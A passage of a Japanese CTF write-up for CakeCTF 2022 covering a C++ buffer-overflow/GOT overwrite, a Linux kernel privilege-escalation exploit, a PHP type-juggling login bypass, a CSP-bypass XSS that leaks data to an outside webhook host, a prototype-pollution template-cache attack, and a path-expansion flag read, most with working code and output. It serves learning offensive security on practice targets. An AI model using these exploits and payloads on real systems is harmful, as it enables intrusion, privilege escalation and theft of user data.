  char* c_str() { return _c_str; }
  std::string& str() { return _str; }

private:
  __attribute__((used))
  void call_me() {
    std::system("/bin/sh");
  }

  char _c_str[0x20];
  std::string _str;
};

int main() {
  Test test;

  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "1. set c_str" << std::endl
            << "2. get c_str" << std::endl
            << "3. set str" << std::endl
            << "4. get str" << std::endl;

  while (std::cin.good()) {
    int choice = 0;
    std::cout << "choice: ";
    std::cin >> choice;

    switch (choice) {
      case 1: // set c_str
        std::cout << "c_str: ";
        std::cin >> test.c_str();
        break;

      case 2: // get c_str
        std::cout << "c_str: " << test.c_str() << std::endl;
        break;

      case 3: // set str
        std::cout << "str: ";
        std::cin >> test.str();
        break;

      case 4: // get str
        std::cout << "str: " << test.str() << std::endl;
        break;

      default: // otherwise exit
        std::cout << "bye!" << std::endl;
        return 0;
    }
  }
  
  return 1;
}

str に書き込んだ後に、c_str への書き込み時のBOFを利用して、str が指すアドレスを .got.plt の適当なアドレスに書き換える。その後にもう一度 str への書き込みを試みると、.got.plt に保持されていた関数のアドレスを書き換えることができる。今回は Test::call_me という /bin/sh を起動してくれる便利なメソッドがあるので、それに書き換える。これでシェルが得られた。

$ (echo -en "3\n01234567\n4\n1\nAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA\x80\x40\x40\x00\x00\x00\x00\x00\n3\n\xde\x16\x40\x00\x00\x00\x00\x00\n"; cat) | nc pwn1.2022.cakectf.com 9003
1. set c_str
2. get c_str
3. set str
4. get str
choice: str: choice: str: 01234567
choice: c_str: choice: str: ls
chall
flag-ba2a141e66fda88045dc28e72c0daf20.txt
cat f*
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}

[pwn 113] welkerme (75 solves)

Introduction to Linux Kernel Exploit :)

nc pwn2.2022.cakectf.com 9999

添付ファイル: welkerme_afcc40e7baa18649730945cde6475354.tar.gz

やさしいLinux Kernel Exploit問。丁寧な解説が添付ファイルに含まれているので詳細はそちらを確認してもらうとして、まず /proc/kallsymsgrep すると commit_credsprepare_kernel_cred のアドレスがわかる。CMD_EXEC を使って呼び出してもらう関数の中で commit_creds(prepare_kernel_cred(NULL)) すると root になれる。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

void *(*prepare_kernel_cred)(void *) = 0xffffffff810726e0;
int (*commit_creds)(void *) = 0xffffffff81072540;

int func(void) {
  commit_creds(prepare_kernel_cred(NULL));
  return 31337;
}

int main(void) {
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ret = ioctl(fd, CMD_ECHO, 12345);
  printf("CMD_ECHO(12345) --> %d\n", ret);

  ret = ioctl(fd, CMD_EXEC, (long)func);
  printf("CMD_EXEC(func) --> %d\n", ret);

  close(fd);
  execl("/bin/sh", "sh", NULL);

  return 0;
}

このexploitを実行する。

/tmp $ ./exploit
./exploit
CMD_ECHO(12345) --> 12345
CMD_EXEC(func) --> 31337
/tmp # cd /
cd /
/ # ls
ls
bin      etc      lib      linuxrc  root     sbin     tmp      var
dev      init     lib64    proc     run      sys      usr
/ # id
id
uid=0(root) gid=0(root)
/ # cat /root/flag*
cat /root/flag*
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

フラグが得られた。

CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

[web 98] CakeGEAR (104 solves)

Can you crack the login portal of CakeGEAR router?

添付ファイル: cakegear_b8892957907a9f25a17529ad4dcc73f1.tar.gz

添付ファイルを展開すると、index.php, admin.php, Dockerfile というファイルが出てくる。admin.php は以下のような内容で、フラグを得るためには $_SESSION['admin']true にしなければならないことがわかる。

<?php
session_start();
if (empty($_SESSION['login']) || $_SESSION['login'] !== true) {
    header("Location: /index.php");
    exit;
}

if ($_SESSION['admin'] === true) {
    $mode = 'admin';
    $flag = file_get_contents("/flag.txt");
} else {
    $mode = 'guest';
    $flag = "***** Access Denied *****";
}
?>

どういう条件で $_SESSION['admin']true になるかは index.php を確認するとわかる。admin もしくは godmode というユーザでログインすればよいようだ。

adminf365691b6e7d8bc4e043ff1b75dc660708c1040e というSHA-1ハッシュ値をクラックしなければならないから論外として、godmode の方は switch 文を見る限りではパスワードはチェックされておらず、ユーザ名が godmode であればそれでよいように見える。しかしながら、それより先に行われている処理を見ると、in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1']) とアクセスしているIPアドレスがローカルのものであるかチェックされており、もしそうでなければログインしようとしているユーザ名を無理やり nobody に変えられてしまう。

<?php
session_start();
$_SESSION = array();
define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e');

/* Router login API */
$req = @json_decode(file_get_contents("php://input"));
if (isset($req->username) && isset($req->password)) {
    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        $req->username = 'nobody';
    }

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

        case 'admin':
            /* Secret password is required in admin mode */
            if (sha1($req->password) === ADMIN_PASSWORD) {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
            }
            break;

        case 'guest':
            /* Guest mode (low privilege) */
            if ($req->password === 'guest') {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = false;
            }
            break;
    }

    /* Return response */
    if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
        echo json_encode(array('status'=>'success'));
        exit;
    } else {
        echo json_encode(array('status'=>'error'));
        exit;
    }
}
?>

PHPと聞いてまず考えるのはType Jugglingだ。PHPでは switch 文が行うのは == による緩やかな比較なので、$req->username !== 'godmode' かつ $req->username == 'godname' が成り立つような $req->username を考えればよい。PHP 8.0より前のバージョンならば 0 でもよかった(0 == 'godmode' だった)のだけれども、PHP 8.0で変更があり成り立たなくなった。今回使われているPHPのバージョンは8系なので、残念ながら使えない。

PHP 8.0以降での == による比較の表を見ていると、true == 'php'true になるということがわかる。使えそうだ。

$req = @json_decode(file_get_contents("php://input"));index.phpJSONでユーザ入力を受け取っているから、{"username":true} のようなJSONを送ることで $req->usernametrue にできる。以下のようなスクリプトを実行するとフラグが得られた。

import requests
s = requests.Session()
r = s.post('http://web1.2022.cakectf.com:8005/', json={
    'username': True,
    'password': 'godmode'
})
print(r.text)
r = s.get('http://web1.2022.cakectf.com:8005/admin.php')
print(r.text)
CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}

[web 135] OpenBio (50 solves)

CSP + httponly = invulnerable

添付ファイル: openbio_357d4ebeb546dfeef981399a5ff12076.tar.gz

そんなことはない。URLを報告するとアクセスしに来てくれるXSS botのコードから見ていく。アクセスごとにこのbotは新しいユーザを登録していて、そのユーザ名はランダムであるため推測できない。このユーザのプロフィールとして await page.type('#bio', "You hacked me! The flag is " + flag); とフラグが設定されている様子がわかる。

const puppeteer = require('puppeteer');
const Redis = require('ioredis');
const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1});

const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
const flag = process.env.flag || "CakeCTF{**** TEST FLAG *****}";
const base_url = "http://challenge:8080";
const browser_option = {
    headless: true,
    args: [
        '-wait-for-browser',
        '--no-sandbox', '--disable-gpu',
        '--js-flags="--noexpose_wasm"'
    ]
}

const crawl = async (target) => {
    const url = base_url + '/profile/' + target + '?report';
    console.log(`[+] Crawling: ${url}`);

    const username = Math.random().toString(32).substring(2);
    const password = Math.random().toString(32).substring(2);

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        // Register
        await page.goto(base_url + '/', {timeout: 3000});
        await page.type('#username', username);
        await page.type('#password', password);
        await page.click('#tab-signup');
        await page.click('#signup');
        await wait(1000);

        // Set flag to bio
        await page.goto(base_url + '/', {timeout: 3000});
        await page.$eval('#bio', element => element.value = '');
        await page.type('#bio', "You hacked me! The flag is " + flag);
        await page.click('#update');
        await wait(1000);

        // Check spam page
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) {
        console.log("[-] " + e);
    }

    console.log(`[+] Crawl done`);
    await browser.close();
}

const handle = async () => {
    console.log(await connection.ping());
    connection.blpop('report', 0, async (err, message) => {
        try {
            await crawl(message[1]);
            setTimeout(handle, 10);
        } catch (e) {
            console.log("[-] " + e);
        }
    });
};

handle();

このWebアプリケーションの脆弱性を探していく。以下のJinja2のテンプレートを見ると分かるように、{{ bio|safe }} のおかげでユーザのプロフィールを表示する画面で明らかにHTML Injectionができる。

            <div class="uk-container">
                <h1>
                    {{ username }}'s Profile
                    <a id="copy" class="uk-icon-button" uk-icon="link" uk-tooltip="Copy link"></a>
                    {% if not is_report %}<a id="report" class="uk-icon-button" uk-icon="warning" uk-tooltip="Report spam"></a>{% endif %}
                </h1>
                <p class="uk-text-large">{{ bio|safe }}</p>
            </div>

しかしながら、以下のようにCSPヘッダが設定されているため、<script>alert(123)</script><img src=x onerror=alert(123)> のようなインラインのJavaScriptコードは実行できない。

@app.after_request
def after_request(response):
    csp  = ""
    csp +=  "default-src 'none';"
    if 'csp_nonce' in flask.g:
        csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    else:
        csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    csp += f"style-src https://cdn.jsdelivr.net/;"
    csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
    csp += f"base-uri 'none';"
    csp += f"connect-src 'self';"
    response.headers['Content-Security-Policy'] = csp
    return response

あれ、script-src で許可するソースリストに https://cdn.jsdelivr.net/CDNが入っている。都合よく 'unsafe-eval' も入っている。自分で新しくパッケージを作ったり、脆弱なパッケージを読み込んだりするとCSPバイパスができそう。今回は面倒なので後者でやる。

以下のようにAngular 1.0.8を読み込んで、eval 相当のことをしてCSPバイパスをする。今回はXSS botがログインしているユーザ名さえわかればよいので、/fetch して、返ってきたHTMLの中に含まれるユーザ名を抽出する。(new Image).src='…'fetch('…') などで外部にユーザ名を投げようにも、default-srcconnect-src で制限されてしまっているので、location.href を使ってリダイレクトさせる形でなんとかする。

<script src="https://cdn.jsdelivr.net/npm/angular@1.0.8/lib/angular.min.js"></script>
<p ng-app>{{constructor.constructor('fetch("/").then(r=>r.text()).then(r=>{location.href="https://webhook.site/…?"+encodeURIComponent(r.match(/(.+)\'s Profile/g)[0])})')()}}

これで得られたユーザ名のプロフィールを閲覧すると、フラグが得られた。

CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}

私がfirst bloodだった。始まってから10分以内に解けて嬉しい。

[web 289] Panda Memo (9 solves)

Please create an isolated instance on the server below:

nc web2.2022.cakectf.com 8002

添付ファイル: panda_memo_8490cb5f766015981851104ad4f33f2f.tar.gz

メモ帳アプリ。IPアドレスごとにメモが管理されている。ほかの問題と違っていちいちインスタンスを立てる必要があるあたりから、環境を派手に汚す問題なのだなあと察する。

添付ファイルを展開すると、以下のような server.js が出てくる。

const fs = require('fs');
const path = require('path');
const express = require('express');
const auth = require('express-basic-auth');
const mustache = require('mustache');
const app = express();

const SECRET = process.env["SECRET"] || "ADMIN_SECRET";
const FLAG = process.env["FLAG"] || "FakeCTF{panda-sensei}";
const BASIC_USERNAME = process.env["BASIC_USERNAME"] || "guest";
const BASIC_PASSWORD = process.env["BASIC_PASSWORD"] || "guest";

app.engine('html', function (filePath, options, callback) {
    fs.readFile(filePath, function (err, content) {
        if (err) return callback(err);
        let rendered = mustache.render(content.toString(), options);
        return callback(null, rendered);
    });
});
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'html');
app.use(express.json());
app.use(auth({
    challenge: true,
    unauthorizedResponse: () => {
        return "Unauthorized";
    },
    authorizer: (username, password) => {
        return auth.safeCompare(username, BASIC_USERNAME)
            && auth.safeCompare(password, BASIC_PASSWORD);
    }
}));

const isAdmin = req => req.query.secret === SECRET;
const getAdminRole = req => {
    /* Return array of admin roles (such as admin, developer).
       More roles are to be added in the future. */
    return isAdmin(req) ? ['admin'] : [];
}
let memo = {};

app.get('/', (req, res) => res.render('index'));

/** Create new memo */
app.post('/new', (req, res) => {
    /* Create new memo */
    if (!(req.ip in memo)) memo[req.ip] = [];
    memo[req.ip].push("");

    res.json({status: 'success'});
});

/** Delete memo */
app.post('/del', (req, res) => {
    let index = req.body.index;

    /* Delete memo */
    if ((req.ip in memo) && (index in memo[req.ip])) {
        memo[req.ip].splice(index, 1);
        res.json({status: 'success', result: 'Successfully deleted'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

/** Get memo list */
app.get('/show', (req, res) => {
    let ip = req.ip;

    /* We don't need to call isAdmin here
       because only admin can see console log. */
    if (req.body.debug == true)
        console.table(memo, req.body.inspect);

    /* Admin can read anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Return memo */
    if (ip in memo)
        res.json({status: 'success', result: memo[ip]});
    else
        res.json({status: 'error', result: 'Memo not found'});
});

/** Edit memo */
app.post('/edit', (req, res) => {
    let ip = req.ip;
    let index = req.body.index;
    let new_memo = req.body.memo;

    /* Admin can edit anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Update memo */
    if (ip in memo) {
        memo[ip][index] = new_memo;
        res.json({status: 'success', result: 'Successfully updated'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

/** Admin panel */
app.get('/admin', (req, res) => {
    res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});

app.listen(3000, () => {
    console.log("Server is up!");
});

以下のコードを見ればわかるように、secret というクエリパラメータに秘密の文字列を設定して /admin にアクセスすればフラグが得られる。当然ながら、ちゃんと process.env.SECRET が設定されていて、SECRETADMIN_SECRET という文字列ではない。

const SECRET = process.env["SECRET"] || "ADMIN_SECRET";

// …

const isAdmin = req => req.query.secret === SECRET;

// …

/** Admin panel */
app.get('/admin', (req, res) => {
    res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});

isAdmin という関数のほかにも、ユーザがadminであるかをチェックする getAdminRole という関数がある。使われているのはメモの編集をする処理で、もしadminならば好きなIPアドレスのメモを編集できる。

memo[ip][index] = new_memo; でPrototype Pollutionができそう。memoObject なので、編集対象のIPアドレス__proto__ を、indexneko を指定することで、Object.prototype.neko = new_memo 相当のことができる。しかしながら、それをするためにはまず getAdminRole(req)[0] !== undefined を突破しなければならない。

なぜ getAdminRole(req).length !== 0 でなくわざわざ getAdminRole(req)[0] !== undefined としているかが気になる。Object.prototype[0] = 'hoge' とPrototype Pollutionをしておけば突破できるはずだ。でも、どうやってそんなピンポイントなPrototype Pollutionをするのか。

const getAdminRole = req => {
    /* Return array of admin roles (such as admin, developer).
       More roles are to be added in the future. */
    return isAdmin(req) ? ['admin'] : [];
}

// …

/** Edit memo */
app.post('/edit', (req, res) => {
    let ip = req.ip;
    let index = req.body.index;
    let new_memo = req.body.memo;

    /* Admin can edit anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Update memo */
    if (ip in memo) {
        memo[ip][index] = new_memo;
        res.json({status: 'success', result: 'Successfully updated'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

ほかの処理をだらだら眺めていると、メモの表示処理で不自然な箇所があった。GETメソッドで受け付けているAPIではあるけれども、req.body.debug == true とリクエストボディで debug というキーにtruthyな値を設定しておくと、console.table(memo, req.body.inspect) と現在どんなメモが保存されているかをコンソールに出力してくれる。

/** Get memo list */
app.get('/show', (req, res) => {
    let ip = req.ip;

    /* We don't need to call isAdmin here
       because only admin can see console log. */
    if (req.body.debug == true)
        console.table(memo, req.body.inspect);

    /* Admin can read anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Return memo */
    if (ip in memo)
        res.json({status: 'success', result: memo[ip]});
    else
        res.json({status: 'error', result: 'Memo not found'});
});

ここでPrototype Pollutionができないかと思い、なんとなく curl -X GET "http://localhost:3000/show" -H "Content-Type: application/json" -d '{"debug":true,"inspect":["__proto__"]}' というようなリクエストを送ってみたところ、以下のようにおかしなエラーが返ってきた。0 というプロパティが読めないと言われても困る。

TypeError: Cannot create property '0' on string ''
    at table (node:internal/cli_table:66:32)
    at final (node:internal/console/constructor:489:38)
    at console.table (node:internal/console/constructor:592:12)
…

ほかの箇所も壊れだし、たとえばメモが表示されなかったり、編集しようとしても以下のようにメモが存在しないと怒られてしまったりする。

$ curl "http://localhost:3000/edit" -H "Content-Type: application/json" -d '{"index":0,"memo":"neko"}'
{"status":"error","result":"Memo not found"}

どういうことかと思いその原因を探っていたところ、/edit で参照されている ipundefined となっていることに気づいた。まさかと思い getAdminRole(req)[0] を確認してみると、空文字列になっていた。Prototype Pollutionが起きている*3JavaScriptでは '' !== undefined であるから、ip = req.body.ip という処理が走ったことになる。

これを利用して、Object.prototype[0] が汚染された状態で curl "http://localhost:3000/edit" -H "Content-Type: application/json" -d '{"ip": "__proto__", "index":"neko","memo":["123"]}' というようなリクエストを投げると、先程言及したように Object.prototype.neko = ['123'] というように、もっと自由にキーを指定してPrototype Pollutionができる。

でも、Prototype Pollutionができたところで何を汚せばよいのか。フラグを得るためには isAdmintrue を返す必要があるが、isAdmin もそこで参照されている SECRET も汚せない。ということは server.js が使うライブラリにgadgetがないか探す必要がありそう。

使われているライブラリは色々あるけれども、数百行しかなくて比較的読むのが簡単そうな、テンプレートエンジンの mustache.js から確認した。Prototype Pollutionとテンプレートエンジンの組み合わせといえばPOSIXさんのAST Injectionだけれども、いい感じの処理がない。めげずに眺めていると、以下に抜き出したようなキャッシュ周りの処理が怪しそうに感じた。

  this.templateCache = {
    _cache: {},
    set: function set (key, value) {
      this._cache[key] = value;
    },
    get: function get (key) {
      return this._cache[key];
    },
    clear: function clear () {
      this._cache = {};
    }
  };

以下のようにキャッシュの取得・設定時にそのキーと値を出力するように mustache.js を書き換える。

    this.templateCache = {
      _cache: {},
      set: function set (key, value) {
        console.log('[set key]', JSON.stringify(key));
        console.log('[set value]', JSON.stringify(value));
        this._cache[key] = value;
      },
      get: function get (key) {
        console.log('[get key]', JSON.stringify(key));
        console.log('[get _cache[key]]', JSON.stringify(this._cache[key]));
        return this._cache[key];
      },
      clear: function clear () {
        this._cache = {};
      }
    };

このまま server.js を再起動し、/admin にアクセスすると、以下のようなログが得られた。テンプレートの末尾に :{{:}} を加えた文字列をキーとしているっぽい。当然最初のアクセスでは this._cache[key]undefined になるから、/admin にアクセスするより前にキャッシュを汚染しておいてやると、好きなコンテンツを返すようにできそう。

[get key] "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n                    {{#is_admin}}\n                    FLAG: <code>{{flag}}</code>\n                    {{/is_admin}}\n                    {{^is_admin}}\n                    <mark>Access Denied</mark>\n                    {{/is_admin}}\n                </p>\n            </article>\n        </main>\n    </body>\n</html>\n:{{:}}"
[get _cache[key]] undefined
[set key] "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n                    {{#is_admin}}\n                    FLAG: <code>{{flag}}</code>\n                    {{/is_admin}}\n                    {{^is_admin}}\n                    <mark>Access Denied</mark>\n                    {{/is_admin}}\n                </p>\n            </article>\n        </main>\n    </body>\n</html>\n:{{:}}"
[set value] [["text","<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n",0,464],["#","is_admin",484,497,[["text","                    FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text","                    <mark>Access Denied</mark>\n",614,661]],681],["text","                </p>\n            </article>\n        </main>\n    </body>\n</html>\n",695,775]]

/admin のテンプレートは以下の通り。{{#is_admin}}{{^is_admin}} に変えてやれば、is_adminfalse であってもフラグが表示されるようになってよさそう。先程のログにある [set value] の行のオブジェクトのその部分を ["#","is_admin",484,497,[["text"," FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566] というように変えたものをメモっておく。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css">
        <title>Admin Panel - lolpanda</title>
    </head>
    <body>
        <header>
            <h1>Admin Panel</h1>
            <p>Please leave this page if you're not the admin.</p>
        </header>
        <main>
            <article style="text-align: center;">
                <h2>FLAG</h2>
                <p>
                    {{#is_admin}}
                    FLAG: <code>{{flag}}</code>
                    {{/is_admin}}
                    {{^is_admin}}
                    <mark>Access Denied</mark>
                    {{/is_admin}}
                </p>
            </article>
        </main>
    </body>
</html>

ここまでの流れを整理したものが以下のPythonスクリプト

import requests
BASE = 'http://localhost:3000'
s = requests.Session()
s.auth = ('guest', 'guest')

s.post(f'{BASE}/new')
s.post(f'{BASE}/edit', json={"index":"0","memo":"neko"})
s.get(f'{BASE}/show', json={"debug":True,"inspect":["__proto__"]})
s.post(f'{BASE}/edit', json={
    "ip": "__proto__",
    "index": "neko",
    "memo": "abc"
})

s.post(f'{BASE}/edit', json={
    "ip": "__proto__",
    "index": "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n                    {{#is_admin}}\n                    FLAG: <code>{{flag}}</code>\n                    {{/is_admin}}\n                    {{^is_admin}}\n                    <mark>Access Denied</mark>\n                    {{/is_admin}}\n                </p>\n            </article>\n        </main>\n    </body>\n</html>\n:{{:}}",
    "memo": [["text","<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n",0,464],["^","is_admin",484,497,[["text","                    FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text","                    <mark>Access Denied</mark>\n",614,661]],681],["text","                </p>\n            </article>\n        </main>\n    </body>\n</html>\n",695,775]]
})

print(s.get(f'{BASE}/admin').text)

これを実行するとフラグが得られた。

$ python3 solve.py 
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css">
        <title>Admin Panel - lolpanda</title>
    </head>
    <body>
        <header>
            <h1>Admin Panel</h1>
            <p>Please leave this page if you're not the admin.</p>
        </header>
        <main>
            <article style="text-align: center;">
                <h2>FLAG</h2>
                <p>
                    FLAG: <code>&quot;CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}&quot;</code>
                    <mark>Access Denied</mark>
                </p>
            </article>
        </main>
    </body>
</html>
CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}

私がfirst bloodだった。問題がリリースされてから2時間弱で解けて嬉しい。

[misc 133] readme 2022 (52 solves)

nc misc.2022.cakectf.com 12022

添付ファイル: readme2022_80ade97026adcb7e3e8f6203ad1eab06.tar.gz

Beginners CTF 2020のreadmeのリベンジ問っぽい。添付ファイルを展開すると、以下のようなシンプルなPythonコードが出てきた。

import os

try:
    f = open("/flag.txt", "r")
except:
    print("[-] Flag not found. If this message shows up")
    print("    on the remote server, please report to amdin.")

if __name__ == '__main__':
    filepath = input("filepath: ")
    if filepath.startswith("/"):
        exit("[-] Filepath must not start with '/'")
    elif '..' in filepath:
        exit("[-] Filepath must not contain '..'")

    filepath = os.path.expanduser(filepath)
    try:
        print(open(filepath, "r").read())
    except:
        exit("[-] Could not open file")

os.path.expanduser という関数が怪しいのでPythonのドキュメントを確認する。

与えられた引数の先頭のパス要素 ~、または ~user を、 user のホームディレクトリのパスに置き換えて返します

なるほど。ルートディレクトリをホームディレクトリとするユーザが居ないか、付属していた Dockerfile を使ってDockerコンテナを立てて /etc/passwd を確認してみたものの、もちろんなかった。が、sys/dev をホームディレクトリとしていて使えそう。

ctf@a70f9b8b6c4f:/app$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ctf:x:999:999::/home/ctf:/bin/sh

/dev/fd/proc/self/fd へのシンボリックリンクになっている。このスクリプトの最初で f = open("/flag.txt", "r")flag.txt が開かれているから、そのファイルディスクリプタを当てれば /dev/fd/(flag.txtのファイルディスクリプタ) からフラグを読めるはず。1から順番に試して ~sys/fd/6 でフラグが得られた。

$ nc misc.2022.cakectf.com 12022
filepath: ~sys/fd/6
CakeCTF{~USER_r3f3rs_2_h0m3_d1r3ct0ry_0f_USER}

[misc 204] C-Sandbox (20 solves)

I designed a restricted C compiler! nc misc.2022.cakectf.com 10099

添付ファイル: c_sandbox_c85cfad2fce8c0c6ac1dc144a1e4229c.tar.gz

添付ファイルを展開すると、色々ファイルが出てくる。重要そうなのは compiler.pysandbox.cpp ぐらいなので、それぞれそのまま載せる。まずは compiler.py だけれども、これは与えられたCコードをコンパイルして実行しているっぽい。気になるのは opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null という処理で、opt というのは最適化などを行ってくれるツールらしい。-load というオプションで与えられているファイルが最適化などを行うLLVM Passというものらしい。LLVM Passである libCSandbox.soソースコードsandbox.cpp ということっぽい。

#!/usr/bin/env python3
import os
import random

def tempname(extension='', length=16, directory='/tmp'):
    name = '{:x}'.format(random.randrange(0, 1<<(length*8)))
    return directory + '/' + name.zfill(length) + extension

def c_compile(code):
    c_path   = tempname(extension='.c')
    bc_path  = tempname(extension='.bc')
    ir_path  = tempname(extension='.ir')
    asm_path = tempname(extension='.asm')
    elf_path = tempname(extension='.bin')
    with open(c_path, 'w') as f:
        f.write(code)

    print("[+] Generating bitcode...")
    r = os.system('clang-11 -emit-llvm -c {} -o {} 2>/dev/null'
                  .format(c_path, bc_path))
    os.unlink(c_path)
    if r != 0: return

    print("[+] Instrumenting...")
    r = os.system('opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null'
                  .format(bc_path, ir_path))
    os.unlink(bc_path)
    if r != 0:
        os.unlink(ir_path)
        return

    print("[+] Translating to assembly...")
    r = os.system('llc-11 {} -o {} 2>/dev/null'
                  .format(ir_path, asm_path))
    os.unlink(ir_path)
    if r != 0: return

    print("[+] Compiling...")
    r = os.system('clang-11 {} -o {} 2>/dev/null'
                  .format(asm_path, elf_path))
    os.unlink(asm_path)
    if r != 0: return

    return elf_path

if __name__ == '__main__':
    print("Enter your C code (Type 'EOF' to quit input)")
    code = ''
    while True:
        line = input()
        if line == 'EOF': break
        code += line + '\n'
        if len(code) > 0x1000:
            print("[-] Too long")
            exit(1)

    elf_path = c_compile(code)
    if elf_path is None:
